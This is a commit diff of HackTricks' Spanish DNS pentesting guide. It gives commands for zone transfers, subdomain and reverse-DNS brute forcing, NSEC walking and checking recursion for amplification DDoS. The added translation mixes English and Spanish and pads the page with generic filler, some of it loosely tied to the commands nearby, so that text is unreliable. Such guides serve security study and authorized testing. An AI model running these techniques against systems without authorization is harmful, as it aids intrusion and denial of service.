mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['network-services-pentesting/pentesting-dns.md', 'network-se
This commit is contained in:
parent
72c12d369e
commit
c735efaae3
2 changed files with 642 additions and 326 deletions
|
@ -7,8 +7,8 @@
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -31,29 +31,29 @@ PORT STATE SERVICE REASON
|
|||
5353/udp open zeroconf udp-response
|
||||
53/udp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
|
||||
```
|
||||
### Diferentes servidores DNS
|
||||
### Diferentes Servidores DNS
|
||||
|
||||
Información de [https://academy.hackthebox.com/module/112/section/1069](https://academy.hackthebox.com/module/112/section/1069)
|
||||
|
||||
| **Tipo de servidor** | **Descripción** |
|
||||
| ------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `Servidor raíz DNS` | Los servidores raíz del DNS son responsables de los dominios de nivel superior (`TLD`). Como última instancia, solo se solicitan si el servidor de nombres no responde. Por lo tanto, un servidor raíz es una interfaz central entre los usuarios y el contenido en Internet, ya que vincula el dominio y la dirección IP. La [Corporación de Internet para la Asignación de Nombres y Números](https://www.icann.org/) (`ICANN`) coordina el trabajo de los servidores de nombres raíz. Hay `13` servidores raíz en todo el mundo. |
|
||||
| `Servidor de nombres autoritativo` | Los servidores de nombres autoritativos tienen autoridad sobre una zona particular. Solo responden a consultas de su área de responsabilidad y su información es vinculante. Si un servidor de nombres autoritativo no puede responder a la consulta de un cliente, el servidor de nombres raíz se hace cargo en ese momento. |
|
||||
| `Servidor de nombres no autoritativo` | Los servidores de nombres no autoritativos no son responsables de una zona DNS en particular. En su lugar, recopilan información sobre zonas DNS específicas ellos mismos, lo que se hace mediante consultas DNS recursivas o iterativas. |
|
||||
| `Servidor DNS en caché` | Los servidores DNS en caché almacenan en caché información de otros servidores de nombres durante un período especificado. El servidor de nombres autoritativo determina la duración de este almacenamiento. |
|
||||
| `Servidor de reenvío` | Los servidores de reenvío realizan solo una función: reenvían consultas DNS a otro servidor DNS. |
|
||||
| `Resolver` | Los resolutores no son servidores DNS autoritativos, pero realizan la resolución de nombres localmente en la computadora o en el enrutador. |
|
||||
| **Tipo de Servidor** | **Descripción** |
|
||||
| ------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `Servidor Raíz DNS` | Los servidores raíz del DNS son responsables de los dominios de nivel superior (`TLD`). Como última instancia, solo se solicitan si el servidor de nombres no responde. Por lo tanto, un servidor raíz es una interfaz central entre los usuarios y el contenido en Internet, ya que vincula el dominio y la dirección IP. La [Corporación de Internet para la Asignación de Nombres y Números](https://www.icann.org/) (`ICANN`) coordina el trabajo de los servidores raíz. Hay `13` servidores raíz en todo el mundo. |
|
||||
| `Servidor de Nombres Autoritativo` | Los servidores de nombres autoritativos tienen autoridad sobre una zona en particular. Solo responden consultas de su área de responsabilidad y su información es vinculante. Si un servidor de nombres autoritativo no puede responder a la consulta de un cliente, el servidor de nombres raíz se hace cargo en ese momento. |
|
||||
| `Servidor de Nombres No Autoritativo` | Los servidores de nombres no autoritativos no son responsables de una zona DNS en particular. En cambio, recopilan información sobre zonas DNS específicas ellos mismos, lo cual se hace mediante consultas DNS recursivas o iterativas. |
|
||||
| `Servidor de Caché DNS` | Los servidores de caché DNS almacenan en caché información de otros servidores de nombres durante un período especificado. La duración de este almacenamiento la determina el servidor de nombres autoritativo. |
|
||||
| `Servidor de Reenvío` | Los servidores de reenvío solo realizan una función: reenvían consultas DNS a otro servidor DNS. |
|
||||
| `Resolver` | Los resolutores no son servidores DNS autoritativos, pero realizan la resolución de nombres localmente en la computadora o en el enrutador. |
|
||||
|
||||
## Enumeración
|
||||
|
||||
### **Banner Grabbing**
|
||||
### **Obtención de Banners**
|
||||
|
||||
DNS no tiene un "banner" para capturar. El equivalente más cercano es una consulta mágica para `version.bind. CHAOS TXT`, que funcionará en la mayoría de los servidores BIND.\
|
||||
Puede realizar esta consulta utilizando `dig`:
|
||||
DNS no tiene un "banner" para obtener. Lo más parecido es una consulta mágica para `version.bind. CHAOS TXT`, que funcionará en la mayoría de los servidores BIND.\
|
||||
Puedes realizar esta consulta usando `dig`:
|
||||
```bash
|
||||
dig version.bind CHAOS TXT @DNS
|
||||
```
|
||||
Si eso no funciona, puedes usar técnicas de fingerprinting para determinar la versión del servidor remoto -- la herramienta [`fpdns`](https://github.com/kirei/fpdns) es una opción para eso, pero hay otras.
|
||||
Si eso no funciona, puedes utilizar técnicas de fingerprinting para determinar la versión del servidor remoto -- la herramienta [`fpdns`](https://github.com/kirei/fpdns) es una opción para eso, pero hay otras.
|
||||
|
||||
También puedes obtener el banner con un script de **nmap**:
|
||||
```
|
||||
|
@ -67,13 +67,13 @@ dig any victim.com @<DNS_IP>
|
|||
```
|
||||
### **Transferencia de Zona**
|
||||
|
||||
Este procedimiento se abrevia como `Asynchronous Full Transfer Zone` (`AXFR`).
|
||||
Este procedimiento se abrevia como `Transferencia de Zona Asincrónica Completa` (`AXFR`).
|
||||
```bash
|
||||
dig axfr @<DNS_IP> #Try zone transfer without domain
|
||||
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
|
||||
fierce --domain <DOMAIN> --dns-servers <DNS_IP> #Will try toperform a zone transfer against every authoritative name server and if this doesn'twork, will launch a dictionary attack
|
||||
```
|
||||
Sure, what else can I help you with?
|
||||
### Más información
|
||||
```bash
|
||||
dig ANY @<DNS_IP> <DOMAIN> #Any information
|
||||
dig A @<DNS_IP> <DOMAIN> #Regular DNS request
|
||||
|
@ -86,7 +86,79 @@ dig -x 2a00:1450:400c:c06::93 @<DNS_IP> #reverse IPv6 lookup
|
|||
|
||||
#Use [-p PORT] or -6 (to use ivp6 address of dns)
|
||||
```
|
||||
#### Automatización
|
||||
|
||||
Automatización es el proceso de realizar tareas de forma automática, sin intervención humana. En el contexto de la pentesting de servicios de red, la automatización puede ser utilizada para realizar pruebas de penetración en los servicios DNS.
|
||||
|
||||
#### Escaneo de DNS
|
||||
|
||||
El escaneo de DNS es una técnica utilizada para descubrir información sobre los servidores DNS de un objetivo. Esto puede incluir la identificación de servidores DNS autorizados, registros de zona, registros de recursos y otros detalles relacionados con la configuración del DNS.
|
||||
|
||||
#### Enumeración de DNS
|
||||
|
||||
La enumeración de DNS es el proceso de recopilar información sobre los registros DNS de un objetivo. Esto puede incluir la obtención de registros de zona, registros de recursos, registros de correo y otros detalles relacionados con la configuración del DNS.
|
||||
|
||||
#### Transferencia de zona DNS
|
||||
|
||||
La transferencia de zona DNS es una operación que permite a un servidor DNS obtener una copia completa de la zona DNS de otro servidor DNS. Esto puede ser utilizado por un atacante para obtener información sensible sobre la configuración del DNS de un objetivo.
|
||||
|
||||
#### Envenenamiento de caché DNS
|
||||
|
||||
El envenenamiento de caché DNS es una técnica utilizada para corromper la caché de un servidor DNS con información falsa. Esto puede ser utilizado por un atacante para redirigir el tráfico de red a servidores maliciosos o para realizar ataques de phishing.
|
||||
|
||||
#### Amplificación de DNS
|
||||
|
||||
La amplificación de DNS es una técnica utilizada para amplificar el tráfico de red mediante consultas DNS maliciosas. Esto puede ser utilizado por un atacante para realizar ataques de denegación de servicio (DoS) al saturar la red del objetivo con respuestas DNS amplificadas.
|
||||
|
||||
#### Ataques de fuerza bruta DNS
|
||||
|
||||
Los ataques de fuerza bruta DNS son ataques en los que un atacante intenta adivinar o descubrir información sensible sobre los registros DNS de un objetivo mediante la prueba de diferentes combinaciones de nombres de dominio o direcciones IP.
|
||||
|
||||
#### Ataques de envenenamiento de caché DNS
|
||||
|
||||
Los ataques de envenenamiento de caché DNS son ataques en los que un atacante corrompe la caché de un servidor DNS con información falsa. Esto puede ser utilizado para redirigir el tráfico de red a servidores maliciosos o para realizar ataques de phishing.
|
||||
|
||||
#### Ataques de denegación de servicio DNS
|
||||
|
||||
Los ataques de denegación de servicio DNS son ataques en los que un atacante intenta saturar la red del objetivo con consultas DNS maliciosas, lo que resulta en la interrupción del servicio DNS y la incapacidad de los usuarios para acceder a los recursos de red.
|
||||
|
||||
#### Ataques de secuestro de zona DNS
|
||||
|
||||
Los ataques de secuestro de zona DNS son ataques en los que un atacante obtiene el control de la zona DNS de un objetivo y redirige el tráfico de red a servidores maliciosos. Esto puede ser utilizado para interceptar comunicaciones o realizar ataques de phishing.
|
||||
```bash
|
||||
for sub in $(cat <WORDLIST>);do dig $sub.<DOMAIN> @<DNS_IP> | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done
|
||||
|
||||
dnsenum --dnsserver <DNS_IP> --enum -p 0 -s 0 -o subdomains.txt -f <WORDLIST> <DOMAIN>
|
||||
```
|
||||
#### Usando nslookup
|
||||
|
||||
`nslookup` is a command-line tool used to query DNS (Domain Name System) servers to obtain information about domain names, IP addresses, and other DNS records. It is commonly used in network services pentesting to gather information about a target's DNS infrastructure.
|
||||
|
||||
To use `nslookup`, open a terminal and type `nslookup` followed by the domain name or IP address you want to query. By default, `nslookup` will display the IP address of the queried domain name.
|
||||
|
||||
For example, to query the IP address of the domain `example.com`, you would type:
|
||||
|
||||
```
|
||||
nslookup example.com
|
||||
```
|
||||
|
||||
`nslookup` can also be used to query specific types of DNS records, such as MX (Mail Exchanger) records or NS (Name Server) records. To do this, you can use the `-type` option followed by the record type.
|
||||
|
||||
For example, to query the MX records of `example.com`, you would type:
|
||||
|
||||
```
|
||||
nslookup -type=mx example.com
|
||||
```
|
||||
|
||||
`nslookup` can also be used to perform reverse DNS lookups by querying the IP address instead of the domain name. To do this, simply type the IP address instead of the domain name.
|
||||
|
||||
For example, to perform a reverse DNS lookup on the IP address `192.168.0.1`, you would type:
|
||||
|
||||
```
|
||||
nslookup 192.168.0.1
|
||||
```
|
||||
|
||||
`nslookup` provides a simple and straightforward way to gather information about a target's DNS infrastructure during a network services pentest. By querying DNS servers, you can obtain valuable information that can be used to identify potential vulnerabilities or misconfigurations.
|
||||
```bash
|
||||
nslookup
|
||||
> SERVER <IP_DNS> #Select dns server
|
||||
|
@ -94,15 +166,53 @@ nslookup
|
|||
> <IP_MACHINE> #Reverse lookup of a machine, maybe...
|
||||
```
|
||||
### Módulos útiles de Metasploit
|
||||
|
||||
Metasploit es una herramienta de prueba de penetración ampliamente utilizada que ofrece una amplia gama de módulos para realizar pruebas de seguridad en sistemas y redes. A continuación se presentan algunos módulos útiles de Metasploit que pueden ser utilizados en pruebas de penetración relacionadas con servicios de red:
|
||||
|
||||
- **`auxiliary/scanner/dns/dns_cache_snoop`**: Este módulo permite realizar un snoop en la caché DNS de un servidor para obtener información sensible, como registros DNS previamente consultados.
|
||||
|
||||
- **`auxiliary/scanner/dns/dns_enum`**: Este módulo se utiliza para enumerar registros DNS en un dominio específico. Puede ayudar a identificar subdominios y obtener información sobre los registros DNS asociados.
|
||||
|
||||
- **`auxiliary/scanner/dns/dns_forward_lookup`**: Este módulo realiza una búsqueda de DNS hacia adelante para obtener información sobre los registros DNS asociados a un dominio o dirección IP específica.
|
||||
|
||||
- **`auxiliary/scanner/dns/dns_reverse_lookup`**: Este módulo realiza una búsqueda de DNS inversa para obtener información sobre los nombres de dominio asociados a una dirección IP específica.
|
||||
|
||||
- **`auxiliary/scanner/dns/dns_srv_enum`**: Este módulo se utiliza para enumerar registros de servicio (SRV) DNS en un dominio específico. Puede ayudar a identificar servicios y obtener información sobre los registros SRV asociados.
|
||||
|
||||
- **`auxiliary/scanner/dns/dns_wildcard_enum`**: Este módulo se utiliza para enumerar subdominios utilizando una técnica de búsqueda de comodines en un dominio específico.
|
||||
|
||||
Estos son solo algunos ejemplos de los módulos útiles de Metasploit que pueden ser utilizados en pruebas de penetración relacionadas con servicios de red. Metasploit ofrece una amplia gama de módulos adicionales que pueden adaptarse a diferentes escenarios de prueba.
|
||||
```bash
|
||||
auxiliary/gather/enum_dns #Perform enumeration actions
|
||||
```
|
||||
### Scripts útiles de nmap
|
||||
### Scripts de nmap útiles
|
||||
|
||||
Nmap es una herramienta de escaneo de red muy poderosa que se utiliza comúnmente en pruebas de penetración. Además de sus capacidades de escaneo básicas, Nmap también admite scripts personalizados que pueden ser utilizados para realizar pruebas más avanzadas. A continuación se presentan algunos scripts de Nmap útiles para pruebas de penetración de servicios DNS:
|
||||
|
||||
- **dns-brute.nse**: Este script realiza un ataque de fuerza bruta contra un servidor DNS para descubrir subdominios y registros DNS ocultos.
|
||||
|
||||
- **dns-cache-snoop.nse**: Este script explota la función de caché de un servidor DNS para revelar información confidencial, como registros DNS antiguos y subdominios.
|
||||
|
||||
- **dns-zone-transfer.nse**: Este script intenta realizar una transferencia de zona DNS desde un servidor DNS para obtener una lista completa de registros DNS y subdominios.
|
||||
|
||||
- **dns-recursion.nse**: Este script verifica si un servidor DNS permite consultas recursivas, lo que podría ser utilizado para realizar ataques de amplificación DNS.
|
||||
|
||||
- **dns-update.nse**: Este script intenta realizar una actualización de zona DNS en un servidor DNS para agregar o modificar registros DNS.
|
||||
|
||||
Estos scripts pueden ser ejecutados utilizando el comando `nmap` seguido del nombre del script y la dirección IP del servidor DNS objetivo.
|
||||
```bash
|
||||
#Perform enumeration actions
|
||||
nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" <IP>
|
||||
```
|
||||
### DNS - Fuerza Bruta Inversa
|
||||
|
||||
La Fuerza Bruta Inversa es una técnica utilizada en pruebas de penetración para descubrir información sobre los registros DNS inversos de un objetivo. Los registros DNS inversos se utilizan para mapear direcciones IP a nombres de dominio.
|
||||
|
||||
En un ataque de Fuerza Bruta Inversa, el objetivo es enumerar todos los posibles nombres de dominio asociados a una dirección IP específica. Esto se logra enviando consultas DNS inversas a un servidor DNS y analizando las respuestas recibidas.
|
||||
|
||||
El proceso de Fuerza Bruta Inversa implica generar una lista de nombres de dominio posibles y enviar consultas DNS inversas para cada uno de ellos. Si el servidor DNS responde con un registro válido, se considera un éxito y se registra como una posible asociación entre la dirección IP y el nombre de dominio.
|
||||
|
||||
Este tipo de ataque puede revelar información sensible, como nombres de dominio internos, nombres de servidores, subdominios ocultos y otros detalles que pueden ser utilizados en futuros ataques. Por lo tanto, es importante que los administradores de sistemas aseguren adecuadamente sus registros DNS inversos y tomen medidas para mitigar este tipo de ataques.
|
||||
```bash
|
||||
dnsrecon -r 127.0.0.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -r 127.0.1.0/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
|
@ -110,10 +220,10 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
|||
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Si logras encontrar subdominios que resuelven a direcciones IP internas, debes intentar realizar un ataque de fuerza bruta inversa a los servidores de nombres del dominio solicitando ese rango de IP.
|
||||
Si logras encontrar subdominios que resuelven a direcciones IP internas, debes intentar realizar un ataque de fuerza bruta de DNS inverso a los servidores de nombres del dominio solicitando ese rango de IP.
|
||||
{% endhint %}
|
||||
|
||||
Otra herramienta para hacerlo: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
Otra herramienta para hacer esto: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
|
||||
Puedes consultar rangos de IP inversos en [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#\_dns) (esta herramienta también es útil con BGP).
|
||||
|
||||
|
@ -124,6 +234,20 @@ dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS>
|
|||
dnscan -d <domain> -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
|
||||
```
|
||||
### Servidores de Active Directory
|
||||
|
||||
Active Directory (AD) es un servicio de directorio desarrollado por Microsoft que se utiliza para administrar y organizar los recursos de red en un entorno de red de Windows. Los servidores de Active Directory son servidores que alojan y ejecutan el servicio de directorio de Active Directory.
|
||||
|
||||
Durante una prueba de penetración, es importante identificar y evaluar los servidores de Active Directory en la red objetivo. Estos servidores son fundamentales para el funcionamiento de la infraestructura de red y, por lo tanto, pueden ser un objetivo atractivo para los atacantes.
|
||||
|
||||
Algunas técnicas comunes utilizadas para pentesting de servidores de Active Directory incluyen:
|
||||
|
||||
- Enumeración de usuarios y grupos: identificar los usuarios y grupos de Active Directory para obtener información sobre la estructura de la red y los posibles objetivos.
|
||||
- Ataques de fuerza bruta: intentar adivinar las contraseñas de los usuarios de Active Directory mediante la prueba de diferentes combinaciones de contraseñas.
|
||||
- Ataques de diccionario: utilizar diccionarios de contraseñas predefinidos para intentar adivinar las contraseñas de los usuarios de Active Directory.
|
||||
- Ataques de inyección de comandos: aprovechar las vulnerabilidades de inyección de comandos para ejecutar comandos maliciosos en los servidores de Active Directory.
|
||||
- Ataques de elevación de privilegios: buscar vulnerabilidades que permitan a un atacante elevar sus privilegios en los servidores de Active Directory y obtener un mayor acceso y control sobre la red.
|
||||
|
||||
Es importante realizar estas pruebas de penetración de manera ética y con el permiso del propietario de la red objetivo. El objetivo principal es identificar y remediar las posibles vulnerabilidades en los servidores de Active Directory para fortalecer la seguridad de la red.
|
||||
```
|
||||
dig -t _gc._tcp.lab.domain.com
|
||||
dig -t _ldap._tcp.lab.domain.com
|
||||
|
@ -133,33 +257,53 @@ nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='domain.com'"
|
|||
```
|
||||
### DNSSec
|
||||
|
||||
DNSSec (Domain Name System Security Extensions) es una extensión de seguridad para el protocolo DNS que proporciona autenticación y verificación de la integridad de los datos de DNS. DNSSec utiliza criptografía de clave pública para firmar digitalmente los registros de DNS y garantizar que no hayan sido modificados durante la transmisión. Esto ayuda a prevenir ataques de envenenamiento de caché DNS y garantiza que los usuarios sean redirigidos a los sitios web correctos. Los pentesters pueden utilizar herramientas como `dnssec-verify` para verificar si un dominio está configurado correctamente con DNSSec.
|
||||
DNSSec (Domain Name System Security Extensions) es una extensión de seguridad para el sistema de nombres de dominio (DNS). Su objetivo principal es proteger el DNS contra ataques de envenenamiento de caché y falsificación de respuestas.
|
||||
|
||||
DNSSec utiliza criptografía de clave pública para garantizar la autenticidad e integridad de las respuestas DNS. Esto se logra mediante la firma digital de las respuestas DNS con claves privadas y la verificación de estas firmas utilizando las claves públicas correspondientes.
|
||||
|
||||
Al implementar DNSSec, se puede garantizar que las respuestas DNS no hayan sido modificadas en tránsito y que provengan de la fuente legítima. Esto ayuda a prevenir ataques como el envenenamiento de caché, donde un atacante puede redirigir el tráfico de DNS a servidores maliciosos.
|
||||
|
||||
Para realizar pruebas de penetración en DNSSec, se pueden utilizar herramientas como `dnssec-verify` y `dnssec-dsfromkey` para verificar la configuración y la cadena de confianza de DNSSec en un dominio específico.
|
||||
|
||||
Es importante tener en cuenta que DNSSec no proporciona confidencialidad de los datos transmitidos a través del DNS. Si se requiere confidencialidad, se debe utilizar una capa adicional de cifrado, como DNS sobre TLS (DoT) o DNS sobre HTTPS (DoH).
|
||||
```bash
|
||||
#Query paypal subdomains to ns3.isc-sns.info
|
||||
nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal.com ns3.isc-sns.info
|
||||
#Query paypal subdomains to ns3.isc-sns.info
|
||||
nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal.com ns3.isc-sns.info
|
||||
```
|
||||
### IPv6
|
||||
|
||||
Realizar fuerza bruta utilizando solicitudes "AAAA" para recopilar las direcciones IPv6 de los subdominios.
|
||||
Realizar un ataque de fuerza bruta utilizando solicitudes "AAAA" para recopilar las direcciones IPv6 de los subdominios.
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
# Bruteforce de DNS inverso usando direcciones IPv6
|
||||
# Pentesting DNS
|
||||
|
||||
El DNS inverso es un proceso que implica la resolución de una dirección IP en un nombre de dominio. En lugar de buscar la dirección IP de un nombre de dominio, el DNS inverso busca el nombre de dominio de una dirección IP. En este caso, se trata de un ataque de fuerza bruta en el que se intenta adivinar el nombre de dominio correspondiente a una dirección IPv6.
|
||||
## Bruteforce reverse DNS in using IPv6 addresses
|
||||
|
||||
Para llevar a cabo este ataque, se puede utilizar una herramienta de fuerza bruta como `dnsrevenum6`. Esta herramienta se utiliza para realizar una búsqueda inversa de DNS en direcciones IPv6. La herramienta utiliza una lista de nombres de dominio y realiza una búsqueda inversa de DNS en cada dirección IPv6 en la lista.
|
||||
In some cases, during a penetration test, it may be necessary to perform a reverse DNS lookup on IPv6 addresses. This can be useful to gather information about the target network and identify potential vulnerabilities.
|
||||
|
||||
El objetivo de este ataque es encontrar nombres de dominio que no estén protegidos por el DNSSEC. Si se encuentra un nombre de dominio que no esté protegido por el DNSSEC, se puede utilizar para llevar a cabo ataques de phishing o para realizar ataques de suplantación de identidad.
|
||||
To bruteforce reverse DNS in using IPv6 addresses, you can follow these steps:
|
||||
|
||||
Es importante tener en cuenta que este tipo de ataque puede ser detectado por los sistemas de seguridad de red. Por lo tanto, se recomienda utilizar esta técnica con precaución y sólo en entornos controlados y autorizados.
|
||||
1. **Enumerate IPv6 addresses**: Use various techniques to identify IPv6 addresses associated with the target network. This can include scanning the network for live hosts, analyzing DNS records, or using tools like `nmap` or `masscan`.
|
||||
|
||||
2. **Generate possible domain names**: Once you have a list of IPv6 addresses, generate possible domain names based on the target's domain naming convention. This can include using common subdomains like `www`, `mail`, `ftp`, or any other subdomains that are commonly used by the target organization.
|
||||
|
||||
3. **Perform reverse DNS lookup**: Use a tool like `dig` or `nslookup` to perform a reverse DNS lookup on each IPv6 address and check if it resolves to any domain name. This can be done by querying the PTR record for each IPv6 address.
|
||||
|
||||
4. **Analyze the results**: Analyze the results of the reverse DNS lookup to identify any potential misconfigurations or vulnerabilities. Look for domain names that do not match the target's naming convention or any unexpected domain names that may indicate a security issue.
|
||||
|
||||
5. **Exploit the vulnerabilities**: If any vulnerabilities are identified, further exploit them to gain unauthorized access or gather additional information about the target network. This can include performing DNS zone transfers, conducting DNS cache poisoning attacks, or exploiting misconfigured DNS servers.
|
||||
|
||||
By following these steps, you can bruteforce reverse DNS in using IPv6 addresses and gather valuable information about the target network. This information can be used to identify potential security weaknesses and improve the overall security posture of the target organization.
|
||||
|
||||
Remember to always obtain proper authorization before performing any penetration testing activities and to comply with all applicable laws and regulations.
|
||||
```bash
|
||||
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
||||
```
|
||||
### DNS Recursion DDoS
|
||||
|
||||
Si la **recursión DNS está habilitada**, un atacante podría **falsificar** el **origen** en el paquete UDP para hacer que el **DNS envíe la respuesta al servidor víctima**. Un atacante podría abusar de los tipos de registro **ANY** o **DNSSEC** ya que suelen tener las respuestas más grandes.\
|
||||
La forma de **verificar** si un DNS admite **recursión** es consultar un nombre de dominio y **verificar** si la bandera "ra" (_recursión disponible_) está en la respuesta:
|
||||
Si la **recursión DNS está habilitada**, un atacante podría **falsificar** el **origen** en el paquete UDP para hacer que el **DNS envíe la respuesta al servidor víctima**. Un atacante podría abusar de los tipos de registros **ANY** o **DNSSEC** ya que suelen tener respuestas más grandes.\
|
||||
La forma de **verificar** si un DNS admite **recursión** es consultar un nombre de dominio y **verificar** si la **bandera "ra"** (_recursión disponible_) está en la respuesta:
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
```
|
||||
|
@ -180,7 +324,7 @@ dig google.com A @<IP>
|
|||
|
||||
### Correo a una cuenta inexistente
|
||||
|
||||
Del libro: Evaluación de la seguridad de la red (3ª edición)
|
||||
Del libro: Evaluación de seguridad de redes (3ª edición)
|
||||
|
||||
Simplemente enviar un mensaje de correo electrónico a una dirección inexistente en un dominio objetivo a menudo revela información útil de la red interna a través de una _notificación de no entrega_ (NDN).
|
||||
```
|
||||
|
@ -192,14 +336,14 @@ blah@nintendo.com
|
|||
Original message headers:
|
||||
|
||||
Received: from ONERDEDGE02.one.nintendo.com (10.13.20.35) by
|
||||
onerdexch08.one.nintendo.com (10.13.30.39) with Microsoft SMTP Server (TLS)
|
||||
id 14.3.174.1; Sat, 26 Apr 2014 16:52:22 -0700
|
||||
onerdexch08.one.nintendo.com (10.13.30.39) with Microsoft SMTP Server (TLS)
|
||||
id 14.3.174.1; Sat, 26 Apr 2014 16:52:22 -0700
|
||||
Received: from barracuda.noa.nintendo.com (205.166.76.35) by
|
||||
ONERDEDGE02.one.nintendo.com (10.13.20.35) with Microsoft SMTP Server (TLS)
|
||||
id 14.3.174.1; Sat, 26 Apr 2014 16:51:22 -0700
|
||||
ONERDEDGE02.one.nintendo.com (10.13.20.35) with Microsoft SMTP Server (TLS)
|
||||
id 14.3.174.1; Sat, 26 Apr 2014 16:51:22 -0700
|
||||
X-ASG-Debug-ID: 1398556333-0614671716199b0d0001-zOQ9WJ
|
||||
Received: from gateway05.websitewelcome.com (gateway05.websitewelcome.com [69.93.154.37]) by
|
||||
barracuda.noa.nintendo.com with ESMTP id xVNPkwaqGgdyH5Ag for <blah@nintendo.com>; Sat,
|
||||
Received: from gateway05.websitewelcome.com (gateway05.websitewelcome.com [69.93.154.37]) by
|
||||
barracuda.noa.nintendo.com with ESMTP id xVNPkwaqGgdyH5Ag for <blah@nintendo.com>; Sat,
|
||||
26 Apr 2014 16:52:13 -0700 (PDT)
|
||||
X-Barracuda-Envelope-From: chris@example.org
|
||||
X-Barracuda-Apparent-Source-IP: 69.93.154.37
|
||||
|
@ -208,7 +352,7 @@ Los siguientes datos en esta transcripción son útiles:
|
|||
|
||||
* Nombres de host internos, direcciones IP y diseño de subdominios
|
||||
* El servidor de correo está ejecutando Microsoft Exchange Server 2010 SP3
|
||||
* Se utiliza un dispositivo de Barracuda Networks para realizar la filtración de contenido
|
||||
* Se utiliza un dispositivo de Barracuda Networks para realizar filtrado de contenido
|
||||
|
||||
## Archivos de configuración
|
||||
```
|
||||
|
@ -236,56 +380,56 @@ Port_Number: 53 #Comma separated if there is more than one.
|
|||
Protocol_Description: Domain Name Service #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for DNS
|
||||
Note: |
|
||||
#These are the commands I run every time I see an open DNS port
|
||||
Name: Notes
|
||||
Description: Notes for DNS
|
||||
Note: |
|
||||
#These are the commands I run every time I see an open DNS port
|
||||
|
||||
dnsrecon -r 127.0.0.0/24 -n {IP} -d {Domain_Name}
|
||||
dnsrecon -r 127.0.1.0/24 -n {IP} -d {Domain_Name}
|
||||
dnsrecon -r {Network}{CIDR} -n {IP} -d {Domain_Name}
|
||||
dig axfr @{IP}
|
||||
dig axfr {Domain_Name} @{IP}
|
||||
nslookup
|
||||
SERVER {IP}
|
||||
127.0.0.1
|
||||
{IP}
|
||||
Domain_Name
|
||||
exit
|
||||
dnsrecon -r 127.0.0.0/24 -n {IP} -d {Domain_Name}
|
||||
dnsrecon -r 127.0.1.0/24 -n {IP} -d {Domain_Name}
|
||||
dnsrecon -r {Network}{CIDR} -n {IP} -d {Domain_Name}
|
||||
dig axfr @{IP}
|
||||
dig axfr {Domain_Name} @{IP}
|
||||
nslookup
|
||||
SERVER {IP}
|
||||
127.0.0.1
|
||||
{IP}
|
||||
Domain_Name
|
||||
exit
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-dns
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-dns
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
Description: Grab DNS Banner
|
||||
Command: dig version.bind CHAOS TXT @DNS
|
||||
Name: Banner Grab
|
||||
